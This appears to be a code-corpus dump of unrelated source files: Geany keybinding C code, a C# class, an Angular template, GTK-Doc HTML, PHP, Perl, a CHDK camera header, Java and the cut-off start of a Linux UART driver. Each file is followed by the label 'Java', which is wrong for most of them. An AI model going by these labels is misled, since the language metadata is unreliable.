/* set the cursor at/after the brace */ sci_set_current_position(doc->editor->sci, new_pos + (!after_brace), FALSE); editor_display_current_line(doc->editor, 0.5F); } } static gboolean cb_func_clipboard_action(guint key_id) { GeanyDocument *doc = document_get_current(); if (doc == NULL) return TRUE; switch (key_id) { case GEANY_KEYS_CLIPBOARD_CUT: on_cut1_activate(NULL, NULL); break; case GEANY_KEYS_CLIPBOARD_COPY: on_copy1_activate(NULL, NULL); break; case GEANY_KEYS_CLIPBOARD_PASTE: on_paste1_activate(NULL, NULL); break; case GEANY_KEYS_CLIPBOARD_COPYLINE: sci_send_command(doc->editor->sci, SCI_LINECOPY); break; case GEANY_KEYS_CLIPBOARD_CUTLINE: sci_send_command(doc->editor->sci, SCI_LINECUT); break; } return TRUE; } static void goto_tag(GeanyDocument *doc, gboolean definition) { gchar *text = get_current_word_or_sel(doc, FALSE); if (text) symbols_goto_tag(text, definition); else utils_beep(); g_free(text); } /* Common function for goto keybindings, useful even when sci doesn't have focus. */ static gboolean cb_func_goto_action(guint key_id) { gint cur_line; GeanyDocument *doc = document_get_current(); if (doc == NULL) return TRUE; cur_line = sci_get_current_line(doc->editor->sci); switch (key_id) { case GEANY_KEYS_GOTO_BACK: navqueue_go_back(); return TRUE; case GEANY_KEYS_GOTO_FORWARD: navqueue_go_forward(); return TRUE; case GEANY_KEYS_GOTO_LINE: { if (toolbar_prefs.visible) { GtkWidget *wid = toolbar_get_widget_child_by_name("GotoEntry"); /* use toolbar item if shown & not in the drop down overflow menu */ if (wid && GTK_WIDGET_MAPPED(wid)) { gtk_widget_grab_focus(wid); return TRUE; } } on_go_to_line_activate(NULL, NULL); return TRUE; } case GEANY_KEYS_GOTO_MATCHINGBRACE: goto_matching_brace(doc); return TRUE; case GEANY_KEYS_GOTO_TOGGLEMARKER: { sci_toggle_marker_at_line(doc->editor->sci, cur_line, 1); return TRUE; } case GEANY_KEYS_GOTO_NEXTMARKER: { gint mline = sci_marker_next(doc->editor->sci, cur_line + 1, 1 << 1, TRUE); if (mline != -1) { sci_set_current_line(doc->editor->sci, mline); editor_display_current_line(doc->editor, 0.5F); } return TRUE; } case GEANY_KEYS_GOTO_PREVIOUSMARKER: { gint mline = sci_marker_previous(doc->editor->sci, cur_line - 1, 1 << 1, TRUE); if (mline != -1) { sci_set_current_line(doc->editor->sci, mline); editor_display_current_line(doc->editor, 0.5F); } return TRUE; } case GEANY_KEYS_GOTO_TAGDEFINITION: goto_tag(doc, TRUE); return TRUE; case GEANY_KEYS_GOTO_TAGDECLARATION: goto_tag(doc, FALSE); return TRUE; } /* only check editor-sensitive keybindings when editor has focus so home,end still * work in other widgets */ if (gtk_window_get_focus(GTK_WINDOW(main_widgets.window)) != GTK_WIDGET(doc->editor->sci)) return FALSE; switch (key_id) { case GEANY_KEYS_GOTO_LINESTART: sci_send_command(doc->editor->sci, editor_prefs.smart_home_key ? SCI_VCHOME : SCI_HOME); break; case GEANY_KEYS_GOTO_LINEEND: sci_send_command(doc->editor->sci, SCI_LINEEND); break; case GEANY_KEYS_GOTO_LINEENDVISUAL: sci_send_command(doc->editor->sci, SCI_LINEENDDISPLAY); break; case GEANY_KEYS_GOTO_PREVWORDPART: sci_send_command(doc->editor->sci, SCI_WORDPARTLEFT); break; case GEANY_KEYS_GOTO_NEXTWORDPART: sci_send_command(doc->editor->sci, SCI_WORDPARTRIGHT); break; } return TRUE; } static void duplicate_lines(GeanyEditor *editor) { if (sci_get_lines_selected(editor->sci) > 1) { /* ignore extra_line because of selecting lines from the line number column */ editor_select_lines(editor, FALSE); sci_selection_duplicate(editor->sci); } else if (sci_has_selection(editor->sci)) sci_selection_duplicate(editor->sci); else sci_line_duplicate(editor->sci); } static void delete_lines(GeanyEditor *editor) { editor_select_lines(editor, TRUE); /* include last line (like cut lines, copy lines do) */ sci_clear(editor->sci); /* (SCI_LINEDELETE only does 1 line) */ } /* common function for editor keybindings, only valid when scintilla has focus. */ static gboolean cb_func_editor_action(guint key_id) { GeanyDocument *doc = document_get_current(); GtkWidget *focusw = gtk_window_get_focus(GTK_WINDOW(main_widgets.window)); /* edit keybindings only valid when scintilla widget has focus */ if (doc == NULL || focusw != GTK_WIDGET(doc->editor->sci)) return FALSE; /* also makes tab work outside editor */ switch (key_id) { case GEANY_KEYS_EDITOR_UNDO: on_undo1_activate(NULL, NULL); break; case GEANY_KEYS_EDITOR_REDO: on_redo1_activate(NULL, NULL); break; case GEANY_KEYS_EDITOR_SCROLLTOLINE: editor_scroll_to_line(doc->editor, -1, 0.5F); break; case GEANY_KEYS_EDITOR_SCROLLLINEUP: sci_send_command(doc->editor->sci, SCI_LINESCROLLUP); break; case GEANY_KEYS_EDITOR_SCROLLLINEDOWN: sci_send_command(doc->editor->sci, SCI_LINESCROLLDOWN); break; case GEANY_KEYS_EDITOR_DUPLICATELINE: duplicate_lines(doc->editor); break; case GEANY_KEYS_EDITOR_SNIPPETNEXTCURSOR: editor_goto_next_snippet_cursor(doc->editor); break; case GEANY_KEYS_EDITOR_DELETELINE: delete_lines(doc->editor); break; case GEANY_KEYS_EDITOR_DELETELINETOEND: sci_send_command(doc->editor->sci, SCI_DELLINERIGHT); break; case GEANY_KEYS_EDITOR_TRANSPOSELINE: sci_send_command(doc->editor->sci, SCI_LINETRANSPOSE); break; case GEANY_KEYS_EDITOR_AUTOCOMPLETE: editor_start_auto_complete(doc->editor, sci_get_current_position(doc->editor->sci), TRUE); break; case GEANY_KEYS_EDITOR_CALLTIP: editor_show_calltip(doc->editor, -1); break; case GEANY_KEYS_EDITOR_MACROLIST: editor_show_macro_list(doc->editor); break; case GEANY_KEYS_EDITOR_CONTEXTACTION: if (check_current_word(doc, FALSE)) on_context_action1_activate(GTK_MENU_ITEM(ui_lookup_widget(main_widgets.editor_menu, "context_action1")), NULL); break; case GEANY_KEYS_EDITOR_COMPLETESNIPPET: /* allow tab to be overloaded */ return check_snippet_completion(doc); case GEANY_KEYS_EDITOR_SUPPRESSSNIPPETCOMPLETION: { GeanyKeyBinding *kb = keybindings_lookup_item(GEANY_KEY_GROUP_EDITOR, GEANY_KEYS_EDITOR_COMPLETESNIPPET); switch (kb->key) { case GDK_space: sci_add_text(doc->editor->sci, " "); break; case GDK_Tab: sci_send_command(doc->editor->sci, SCI_TAB); break; default: break; } break; } case GEANY_KEYS_EDITOR_WORDPARTCOMPLETION: return editor_complete_word_part(doc->editor); case GEANY_KEYS_EDITOR_MOVELINEUP: sci_move_selected_lines_up(doc->editor->sci); break; case GEANY_KEYS_EDITOR_MOVELINEDOWN: sci_move_selected_lines_down(doc->editor->sci); break; } return TRUE; } static void join_lines(GeanyEditor *editor) { gint start, end, i; start = sci_get_line_from_position(editor->sci, sci_get_selection_start(editor->sci)); end = sci_get_line_from_position(editor->sci, sci_get_selection_end(editor->sci)); /* remove spaces surrounding the lines so that these spaces * won't appear within text after joining */ for (i = start; i < end; i++) editor_strip_line_trailing_spaces(editor, i); for (i = start + 1; i <= end; i++) sci_set_line_indentation(editor->sci, i, 0); sci_set_target_start(editor->sci, sci_get_position_from_line(editor->sci, start)); sci_set_target_end(editor->sci, sci_get_position_from_line(editor->sci, end)); sci_lines_join(editor->sci); } static gint get_reflow_column(GeanyEditor *editor) { const GeanyEditorPrefs *eprefs = editor_get_prefs(editor); if (editor->line_breaking) return eprefs->line_break_column; else if (eprefs->long_line_type != 2) return eprefs->long_line_column; else return -1; /* do nothing */ } static void reflow_lines(GeanyEditor *editor, gint column) { gint start, indent, linescount, i; start = sci_get_line_from_position(editor->sci, sci_get_selection_start(editor->sci)); /* if several lines are selected, join them. */ if (sci_get_lines_selected(editor->sci) > 1) join_lines(editor); /* if this line is short enough, do nothing */ if (column > sci_get_line_end_position(editor->sci, start) - sci_get_position_from_line(editor->sci, start)) { return; } /* * We have to manipulate line indentation so that indentation * of the resulting lines would be consistent. For example, * the result of splitting "[TAB]very long content": * * +-------------+-------------+ * | proper | wrong | * +-------------+-------------+ * | [TAB]very | [TAB]very | * | [TAB]long | long | * | [TAB]content| content | * +-------------+-------------+ */ indent = sci_get_line_indentation(editor->sci, start); sci_set_line_indentation(editor->sci, start, 0); sci_target_from_selection(editor->sci); linescount = sci_get_line_count(editor->sci); sci_lines_split(editor->sci, (column - indent) * sci_text_width(editor->sci, STYLE_DEFAULT, " ")); /* use lines count to determine how many lines appeared after splitting */ linescount = sci_get_line_count(editor->sci) - linescount; /* Fix indentation. */ for (i = start; i <= start + linescount; i++) sci_set_line_indentation(editor->sci, i, indent); /* Remove trailing spaces. */ if (editor_prefs.newline_strip || file_prefs.strip_trailing_spaces) { for (i = start; i <= start + linescount; i++) editor_strip_line_trailing_spaces(editor, i); } } /* deselect last newline of selection, if any */ static void sci_deselect_last_newline(ScintillaObject *sci) { gint start, end; start = sci_get_selection_start(sci); end = sci_get_selection_end(sci); if (end > start && sci_get_col_from_position(sci, end) == 0) { end = sci_get_line_end_position(sci, sci_get_line_from_position(sci, end-1)); sci_set_selection(sci, start, end); } } static void reflow_paragraph(GeanyEditor *editor) { ScintillaObject *sci = editor->sci; gboolean sel; gint column; column = get_reflow_column(editor); if (column == -1) { utils_beep(); return; } sci_start_undo_action(sci); sel = sci_has_selection(sci); if (!sel) editor_select_indent_block(editor); sci_deselect_last_newline(sci); reflow_lines(editor, column); if (!sel) sci_set_anchor(sci, -1); sci_end_undo_action(sci); } static void join_paragraph(GeanyEditor *editor) { ScintillaObject *sci = editor->sci; gboolean sel; gint column; column = get_reflow_column(editor); if (column == -1) { utils_beep(); return; } sci_start_undo_action(sci); sel = sci_has_selection(sci); if (!sel) editor_select_indent_block(editor); sci_deselect_last_newline(sci); join_lines(editor); if (!sel) sci_set_anchor(sci, -1); sci_end_undo_action(sci); } /* common function for format keybindings, only valid when scintilla has focus. */ static gboolean cb_func_format_action(guint key_id) { GeanyDocument *doc = document_get_current(); GtkWidget *focusw = gtk_window_get_focus(GTK_WINDOW(main_widgets.window)); /* keybindings only valid when scintilla widget has focus */ if (doc == NULL || focusw != GTK_WIDGET(doc->editor->sci)) return TRUE; switch (key_id) { case GEANY_KEYS_FORMAT_COMMENTLINETOGGLE: on_menu_toggle_line_commentation1_activate(NULL, NULL); break; case GEANY_KEYS_FORMAT_COMMENTLINE: on_menu_comment_line1_activate(NULL, NULL); break; case GEANY_KEYS_FORMAT_UNCOMMENTLINE: on_menu_uncomment_line1_activate(NULL, NULL); break; case GEANY_KEYS_FORMAT_INCREASEINDENT: on_menu_increase_indent1_activate(NULL, NULL); break; case GEANY_KEYS_FORMAT_DECREASEINDENT: on_menu_decrease_indent1_activate(NULL, NULL); break; case GEANY_KEYS_FORMAT_INCREASEINDENTBYSPACE: editor_indentation_by_one_space(doc->editor, -1, FALSE); break; case GEANY_KEYS_FORMAT_DECREASEINDENTBYSPACE: editor_indentation_by_one_space(doc->editor, -1, TRUE); break; case GEANY_KEYS_FORMAT_AUTOINDENT: editor_smart_line_indentation(doc->editor, -1); break; case GEANY_KEYS_FORMAT_TOGGLECASE: on_toggle_case1_activate(NULL, NULL); break; case GEANY_KEYS_FORMAT_SENDTOCMD1: if (ui_prefs.custom_commands && g_strv_length(ui_prefs.custom_commands) > 0) tools_execute_custom_command(doc, ui_prefs.custom_commands[0]); break; case GEANY_KEYS_FORMAT_SENDTOCMD2: if (ui_prefs.custom_commands && g_strv_length(ui_prefs.custom_commands) > 1) tools_execute_custom_command(doc, ui_prefs.custom_commands[1]); break; case GEANY_KEYS_FORMAT_SENDTOCMD3: if (ui_prefs.custom_commands && g_strv_length(ui_prefs.custom_commands) > 2) tools_execute_custom_command(doc, ui_prefs.custom_commands[2]); break; case GEANY_KEYS_FORMAT_SENDTOVTE: on_send_selection_to_vte1_activate(NULL, NULL); break; case GEANY_KEYS_FORMAT_REFLOWPARAGRAPH: reflow_paragraph(doc->editor); break; case GEANY_KEYS_FORMAT_JOINLINES: join_paragraph(doc->editor); break; } return TRUE; } /* common function for select keybindings, only valid when scintilla has focus. */ static gboolean cb_func_select_action(guint key_id) { GeanyDocument *doc; ScintillaObject *sci; GtkWidget *focusw = gtk_window_get_focus(GTK_WINDOW(main_widgets.window)); GtkWidget *toolbar_search_entry = toolbar_get_widget_child_by_name("SearchEntry"); GtkWidget *toolbar_goto_entry = toolbar_get_widget_child_by_name("GotoEntry"); /* special case for Select All in the scribble widget */ if (key_id == GEANY_KEYS_SELECT_ALL && focusw == msgwindow.scribble) { g_signal_emit_by_name(msgwindow.scribble, "select-all", TRUE); return TRUE; } /* special case for Select All in the VTE widget */ #ifdef HAVE_VTE else if (key_id == GEANY_KEYS_SELECT_ALL && vte_info.have_vte && focusw == vc->vte) { vte_select_all(); return TRUE; } #endif /* special case for Select All in the toolbar search widget */ else if (key_id == GEANY_KEYS_SELECT_ALL && focusw == toolbar_search_entry) { gtk_editable_select_region(GTK_EDITABLE(toolbar_search_entry), 0, -1); return TRUE; } else if (key_id == GEANY_KEYS_SELECT_ALL && focusw == toolbar_goto_entry) { gtk_editable_select_region(GTK_EDITABLE(toolbar_goto_entry), 0, -1); return TRUE; } doc = document_get_current(); /* keybindings only valid when scintilla widget has focus */ if (doc == NULL || focusw != GTK_WIDGET(doc->editor->sci)) return TRUE; sci = doc->editor->sci; switch (key_id) { case GEANY_KEYS_SELECT_ALL: on_menu_select_all1_activate(NULL, NULL); break; case GEANY_KEYS_SELECT_WORD: editor_select_word(doc->editor); break; case GEANY_KEYS_SELECT_LINE: editor_select_lines(doc->editor, FALSE); break; case GEANY_KEYS_SELECT_PARAGRAPH: editor_select_paragraph(doc->editor); break; case GEANY_KEYS_SELECT_WORDPARTLEFT: sci_send_command(sci, SCI_WORDPARTLEFTEXTEND); break; case GEANY_KEYS_SELECT_WORDPARTRIGHT: sci_send_command(sci, SCI_WORDPARTRIGHTEXTEND); break; } return TRUE; } static gboolean cb_func_document_action(guint key_id) { GeanyDocument *doc = document_get_current(); if (doc == NULL) return TRUE; switch (key_id) { case GEANY_KEYS_DOCUMENT_REPLACETABS: on_replace_tabs_activate(NULL, NULL); break; case GEANY_KEYS_DOCUMENT_REPLACESPACES: on_replace_spaces_activate(NULL, NULL); break; case GEANY_KEYS_DOCUMENT_LINEBREAK: on_line_breaking1_activate(NULL, NULL); ui_document_show_hide(doc); break; case GEANY_KEYS_DOCUMENT_LINEWRAP: on_line_wrapping1_toggled(NULL, NULL); ui_document_show_hide(doc); break; case GEANY_KEYS_DOCUMENT_RELOADTAGLIST: document_update_tags(doc); break; case GEANY_KEYS_DOCUMENT_FOLDALL: editor_fold_all(doc->editor); break; case GEANY_KEYS_DOCUMENT_UNFOLDALL: editor_unfold_all(doc->editor); break; case GEANY_KEYS_DOCUMENT_TOGGLEFOLD: if (editor_prefs.folding) { gint line = sci_get_current_line(doc->editor->sci); editor_toggle_fold(doc->editor, line, 0); break; } case GEANY_KEYS_DOCUMENT_REMOVE_MARKERS: on_remove_markers1_activate(NULL, NULL); break; case GEANY_KEYS_DOCUMENT_REMOVE_ERROR_INDICATORS: on_menu_remove_indicators1_activate(NULL, NULL); break; case GEANY_KEYS_DOCUMENT_REMOVE_MARKERS_INDICATORS: on_remove_markers1_activate(NULL, NULL); on_menu_remove_indicators1_activate(NULL, NULL); break; } return TRUE; } static void insert_line_after(GeanyEditor *editor) { ScintillaObject *sci = editor->sci; sci_send_command(sci, SCI_LINEEND); sci_send_command(sci, SCI_NEWLINE); } static void insert_line_before(GeanyEditor *editor) { ScintillaObject *sci = editor->sci; gint line = sci_get_current_line(sci); gint indentpos = sci_get_line_indent_position(sci, line); sci_set_current_position(sci, indentpos, TRUE); sci_send_command(sci, SCI_NEWLINE); sci_send_command(sci, SCI_LINEUP); } /* common function for insert keybindings, only valid when scintilla has focus. */ static gboolean cb_func_insert_action(guint key_id) { GeanyDocument *doc = document_get_current(); GtkWidget *focusw = gtk_window_get_focus(GTK_WINDOW(main_widgets.window)); /* keybindings only valid when scintilla widget has focus */ if (doc == NULL || focusw != GTK_WIDGET(doc->editor->sci)) return TRUE; switch (key_id) { case GEANY_KEYS_INSERT_ALTWHITESPACE: editor_insert_alternative_whitespace(doc->editor); break; case GEANY_KEYS_INSERT_DATE: gtk_menu_item_activate(GTK_MENU_ITEM( ui_lookup_widget(main_widgets.window, "insert_date_custom1"))); break; case GEANY_KEYS_INSERT_LINEAFTER: insert_line_after(doc->editor); break; case GEANY_KEYS_INSERT_LINEBEFORE: insert_line_before(doc->editor); break; } return TRUE; } /* update key combination */ void keybindings_update_combo(GeanyKeyBinding *kb, guint key, GdkModifierType mods) { GtkWidget *widget = kb->menu_item; if (widget && kb->key) gtk_widget_remove_accelerator(widget, kb_accel_group, kb->key, kb->mods); kb->key = key; kb->mods = mods; if (widget && kb->key) gtk_widget_add_accelerator(widget, "activate", kb_accel_group, kb->key, kb->mods, GTK_ACCEL_VISIBLE); } /* used for plugins, can be called repeatedly. */ GeanyKeyGroup *keybindings_set_group(GeanyKeyGroup *group, const gchar *section_name, const gchar *label, gsize count, GeanyKeyGroupCallback callback) { g_return_val_if_fail(section_name, NULL); g_return_val_if_fail(count, NULL); /* prevent conflict with core bindings */ g_return_val_if_fail(!g_str_equal(section_name, keybindings_keyfile_group_name), NULL); if (!group) { group = g_new0(GeanyKeyGroup, 1); add_kb_group(group, section_name, label, callback, TRUE); } g_free(group->plugin_keys); group->plugin_keys = g_new0(GeanyKeyBinding, count); group->plugin_key_count = count; g_ptr_array_set_size(group->key_items, 0); return group; } void keybindings_free_group(GeanyKeyGroup *group) { GeanyKeyBinding *kb; g_ptr_array_free(group->key_items, TRUE); if (group->plugin) { foreach_c_array(kb, group->plugin_keys, group->plugin_key_count) { g_free(kb->name); g_free(kb->label); } g_free(group->plugin_keys); g_ptr_array_remove_fast(keybinding_groups, group); g_free(group); } }
Java
using System.Diagnostics; using System.Xml.Serialization; namespace IDF.Utilities.ProcLaunch { public class ProcInfo { [XmlAttribute] public string Path { get; set; } [XmlAttribute] public string WorkingDir { get; set; } [XmlAttribute] public string Arguments { get; set; } [XmlAttribute] public bool Restart { get; set; } [XmlIgnore] public Process ProcessInfo; [XmlIgnore] public ProcInfo Parent { get; set; } } }
Java
<ng-include src="'js/editor/properties-panel/common-properties-template.html'"></ng-include> <div class="form-group"> <label for="width"> <translate>Width</translate> <i class="fa fa-info-circle" tooltip-placement="top-right" uib-tooltip="{{ 'Specify the number of columns of the element. All elements can take up to 12 columns.' | translate }}" tooltip-append-to-body="true"></i> </label> <div class="inner-addon left-addon"> <i class="fa fa-{{ resolution().icon }} bold text-normal"></i> <input ng-model="currentComponent.dimension[resolution().key]" type="number" class="form-control property--width input-sm" id="width" min="1" max="12"> <div class="editor-field-icon-label" translate translate-n="currentComponent.dimension[resolution().key]" translate-plural="columns">column </div> </div> </div> <property-field ng-repeat="property in currentComponent.$$widget.properties" property="property" property-value="currentComponent.propertyValues[property.name]" properties="currentComponent.propertyValues" page-data="page.variables"></property-field>
Java
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>libmbim-glib Reference Manual: Annotation Glossary</title> <meta name="generator" content="DocBook XSL Stylesheets V1.78.1"> <link rel="home" href="index.html" title="libmbim-glib Reference Manual"> <link rel="up" href="index.html" title="libmbim-glib Reference Manual"> <link rel="prev" href="api-index-full.html" title="API Index"> <meta name="generator" content="GTK-Doc V1.20 (XML mode)"> <link rel="stylesheet" href="style.css" type="text/css"> </head> <body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"> <table class="navigation" id="top" width="100%" summary="Navigation header" cellpadding="2" cellspacing="10"><tr valign="middle"> <td width="100%" align="left" class="shortcuts"><span id="nav_glossary"><a class="shortcut" href="#glsO">O</a>  <span class="dim">|</span>  <a class="shortcut" href="#glsT">T</a></span></td> <td><a accesskey="h" href="index.html"><img src="home.png" width="16" height="16" border="0" alt="Home"></a></td> <td><img src="up-insensitive.png" width="16" height="16" border="0"></td> <td><a accesskey="p" href="api-index-full.html"><img src="left.png" width="16" height="16" border="0" alt="Prev"></a></td> <td><img src="right-insensitive.png" width="16" height="16" border="0"></td> </tr></table> <div class="glossary"> <div class="titlepage"><div><div><h1 class="title"> <a name="annotation-glossary"></a>Annotation Glossary</h1></div></div></div> <a name="glsO"></a><h3 class="title">O</h3> <dt><span class="glossterm"><a name="annotation-glossterm-out"></a>out</span></dt> <dd class="glossdef"><p>Parameter for returning results. Default is <acronym title="Free data after the code is done."><span class="acronym">transfer full</span></acronym>.</p></dd> <a name="glsT"></a><h3 class="title">T</h3> <dt><span class="glossterm"><a name="annotation-glossterm-transfer%20full"></a>transfer full</span></dt> <dd class="glossdef"><p>Free data after the code is done.</p></dd> <dt><span class="glossterm"><a name="annotation-glossterm-transfer%20none"></a>transfer none</span></dt> <dd class="glossdef"><p>Don't free data after the code is done.</p></dd> </div> <div class="footer"> <hr> Generated by GTK-Doc V1.20</div> </body> </html>
Java
/** * Created by inwebo on 05/02/15. */ alert('local');
Java
/*++ * * Kafka Message Queue * * DESCRIPTION: * AUTHOR: NickeyWoo * DATE: 2014/8/15 * --*/ #ifndef __KAFKA_PRODUCER_HH__ #define __KAFKA_PRODUCER_HH__ #include <boost/nocopyable.hpp> #include <google/protobuf/message_lite.h> #include <google/protobuf/message.h> #include <google/protobuf/descriptor.h> class KafkaProducer : public boost::nocopyable { public: template<typename MessageT> void Push(std::string strTopic, std::string strGroupId, MessageT* pstMessage) { } private: }; #endif // define __KAFKA_PRODUCER_HH__
Java
<?php namespace Stormpath\Authc\Api; use Stormpath\Resource\ApiKey; use Stormpath\Resource\Application; class AuthenticatorResult { protected $application; protected $apiKey; protected $accessToken; public function __construct(Application $application, ApiKey $apiKey, $accessToken = null) { $this->application = $application; $this->apiKey = $apiKey; if($accessToken) { $this->accessToken = $accessToken; } } public function getApplication() { return $this->application; } public function getApiKey() { return $this->apiKey; } public function getAccessToken() { return $this->accessToken; } }
Java
# vim: ts=2 sw=2 expandtab package Data::Transform::Identity; use strict; use Data::Transform; use vars qw($VERSION @ISA); $VERSION = '0.01'; @ISA = qw(Data::Transform); sub new { my $type = shift; my $self = bless [ [] ], $type; return $self; } sub clone { my $self = shift; my $clone = bless [ [] ], ref $self; return $clone; } sub _handle_get_data { my ($self, $data) = @_; return $data; } sub _handle_put_data { my ($self, $chunk) = @_; return $chunk; } 1; __END__ =head1 NAME Data::Transform::Identity - a no-op filter that passes data through unchanged =head1 SYNOPSIS #!perl use Term::ReadKey; use POE qw(Wheel::ReadWrite Filter::Stream); POE::Session->create( inline_states => { _start => sub { ReadMode "ultra-raw"; $_[HEAP]{io} = POE::Wheel::ReadWrite->new( InputHandle => \*STDIN, OutputHandle => \*STDOUT, InputEvent => "got_some_data", Filter => POE::Filter::Stream->new(), ); }, got_some_data => sub { $_[HEAP]{io}->put("<$_[ARG0]>"); delete $_[HEAP]{io} if $_[ARG0] eq "\cC"; }, _stop => sub { ReadMode "restore"; print "\n"; }, } ); POE::Kernel->run(); exit; =head1 DESCRIPTION Data::Transform::Identity passes data through unchanged. It follows Data::Transform's API and implements no new functionality. In the L</SYNOPSIS>, POE::Filter::Stream is used to collect keystrokes without any interpretation and display output without any embellishments. =head1 SEE ALSO L<Data::Transform> =head1 AUTHORS & COPYRIGHTS See L<Data::Transform> =cut
Java
// Camera - SX150IS - platform_camera.h // This file contains the various settings values specific to the SX150IS camera. // This file is referenced via the 'include/camera.h' file and should not be loaded directly. // If adding a new settings value put a suitable default in 'include/camera.h', // along with documentation on what the setting does and how to determine the correct value. // If the setting should not have a default value then add it in 'include/camera.h' // using the '#undef' directive along with appropriate documentation. // Override any default values with your camera specific values in this file. Try and avoid // having override values that are the same as the default value. // When overriding a setting value there are two cases: // 1. If removing the value, because it does not apply to your camera, use the '#undef' directive. // 2. If changing the value it is best to use an '#undef' directive to remove the default value // followed by a '#define' to set the new value. // When porting CHDK to a new camera, check the documentation in 'include/camera.h' // for information on each setting. If the default values are correct for your camera then // don't override them again in here. #define CAM_PROPSET 4 #define CAM_DRYOS 1 #define CAM_DRYOS_2_3_R39 1 #define CAM_DRYOS_2_3_R47 1 // Defined for cameras with DryOS version R47 or higher #undef CAM_CAN_UNLOCK_OPTICAL_ZOOM_IN_VIDEO #define CAM_HAS_VIDEO_BUTTON 1 #define CAM_VIDEO_QUALITY_ONLY 1 #define CAM_BRACKETING 1 #undef CAM_VIDEO_CONTROL #define CAM_HAS_JOGDIAL 1 #undef CAM_USE_ZOOM_FOR_MF #undef CAM_UNCACHED_BIT #define CAM_UNCACHED_BIT 0x40000000 #define CAM_ADJUSTABLE_ALT_BUTTON 1 #define CAM_ALT_BUTTON_NAMES { "Playback", "Video", "Display" } #define CAM_ALT_BUTTON_OPTIONS { KEY_PRINT, KEY_VIDEO, KEY_DISPLAY } #define CAM_DNG_LENS_INFO { 50,10, 600,10, 34,10, 56,10 } // See comments in camera.h // pattern #define cam_CFAPattern 0x01000201 // Green Blue Red Green // color #define CAM_COLORMATRIX1 \ 1301431, 1000000, -469837, 1000000, -102652, 1000000, \ -200195, 1000000, 961551, 1000000, 238645, 1000000, \ -16441, 1000000, 142319, 1000000, 375979, 1000000 #define cam_CalibrationIlluminant1 1 // Daylight // Sensor size, DNG image size & cropping #define CAM_RAW_ROWPIX 4464 #define CAM_RAW_ROWS 3276 #define CAM_JPEG_WIDTH 4368 #define CAM_JPEG_HEIGHT 3254 #define CAM_ACTIVE_AREA_X1 24 #define CAM_ACTIVE_AREA_Y1 10 #define CAM_ACTIVE_AREA_X2 (CAM_RAW_ROWPIX-72) #define CAM_ACTIVE_AREA_Y2 (CAM_RAW_ROWS-12) // camera name #define PARAM_CAMERA_NAME 4 // parameter number for GetParameterData #undef CAM_SENSOR_BITS_PER_PIXEL #define CAM_SENSOR_BITS_PER_PIXEL 12 #define CAM_QUALITY_OVERRIDE 1 // copied from the SX200 which has the same video buffer size #undef CAM_USES_ASPECT_CORRECTION #define CAM_USES_ASPECT_CORRECTION 1 //camera uses the modified graphics primitives to map screens an viewports to buffers more sized #undef CAM_BITMAP_WIDTH #define CAM_BITMAP_WIDTH 720 // Actual width of bitmap screen in bytes #define CAM_ZEBRA_NOBUF 1 //#undef EDGE_HMARGIN //#define EDGE_HMARGIN 28 #define CAM_DATE_FOLDER_NAMING 0x400 // CR2 accesible through USB #undef DEFAULT_RAW_EXT #define DEFAULT_RAW_EXT 2 #define CAM_DRIVE_MODE_FROM_TIMER_MODE 1 // use PROPCASE_TIMER_MODE to check for multiple shot custom timer. // Used to enabled bracketing in custom timer, required on many recent cameras // see http://chdk.setepontos.com/index.php/topic,3994.405.html #undef CAM_USB_EVENTID #define CAM_USB_EVENTID 0x202 // Levent ID for USB control. Changed in DryOS R49 so needs to be overridable. #define REMOTE_SYNC_STATUS_LED 0xC0220014 // specifies an LED that turns on while camera waits for USB remote to sync #define CAM_USE_ALT_SET_ZOOM_POINT 1 // Define to use the alternate code in lens_set_zoom_point() #define CAM_USE_ALT_PT_MoveOpticalZoomAt 1 // Define to use the PT_MoveOpticalZoomAt() function in lens_set_zoom_point() #define CAM_NEED_SET_ZOOM_DELAY 300 // http://chdk.setepontos.com/index.php?topic=6953.msg119736#msg119736 #define CAM_SD_OVER_IN_AF 1 #define CAM_SD_OVER_IN_AFL 1 #define CAM_SD_OVER_IN_MF 1 #undef CAM_AF_LED #define CAM_AF_LED 1 #define CAM_REAR_CURTAIN 1 //--------------------------------------------------
Java
package com.moon.threadlocal; import org.junit.Test; /** * Created by Paul on 2017/2/12. */ public class SequenceA implements Sequence{ private static int number=0; @Override public int getNumber(){ number=number+1; return number; } }
Java
/* * Synopsys DesignWare 8250 driver. * * Copyright 2011 Picochip, Jamie Iles. * Copyright 2013 Intel Corporation * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * The Synopsys DesignWare 8250 has an extra feature whereby it detects if the * LCR is written whilst busy. If it is, then a busy detect interrupt is * raised, the LCR needs to be rewritten and the uart status register read. */ #include <linux/device.h> #include <linux/io.h> #include <linux/module.h> #include <linux/serial_8250.h> #include <linux/serial_core.h> #include <linux/serial_reg.h> #include <linux/of.h> #include <linux/of_irq.h> #include <linux/of_platform.h> #include <linux/platform_device.h> #include <linux/slab.h> #include <linux/acpi.h> #include <linux/clk.h> #include <linux/reset.h> #include <linux/pm_runtime.h> #include <asm/byteorder.h> #include "8250.h" /* Offsets for the DesignWare specific registers */ #define DW_UART_USR 0x1f /* UART Status Register */ #define DW_UART_CPR 0xf4 /* Component Parameter Register */ #define DW_UART_UCV 0xf8 /* UART Component Version */ /* Component Parameter Register bits */ #define DW_UART_CPR_ABP_DATA_WIDTH (3 << 0) #define DW_UART_CPR_AFCE_MODE (1 << 4) #define DW_UART_CPR_THRE_MODE (1 << 5) #define DW_UART_CPR_SIR_MODE (1 << 6) #define DW_UART_CPR_SIR_LP_MODE (1 << 7) #define DW_UART_CPR_ADDITIONAL_FEATURES (1 << 8) #define DW_UART_CPR_FIFO_ACCESS (1 << 9) #define DW_UART_CPR_FIFO_STAT (1 << 10) #define DW_UART_CPR_SHADOW (1 << 11) #define DW_UART_CPR_ENCODED_PARMS (1 << 12) #define DW_UART_CPR_DMA_EXTRA (1 << 13) #define DW_UART_CPR_FIFO_MODE (0xff << 16) /* Helper for fifo size calculation */ #define DW_UART_CPR_FIFO_SIZE(a) (((a >> 16) & 0xff) * 16) struct dw8250_data { u8 usr_reg; int last_mcr; int line; struct clk *clk; struct reset_control *rst; struct uart_8250_dma dma; }; static inline int dw8250_modify_msr(struct uart_port *p, int offset, int value) { struct dw8250_data *d = p->private_data; /* If reading MSR, 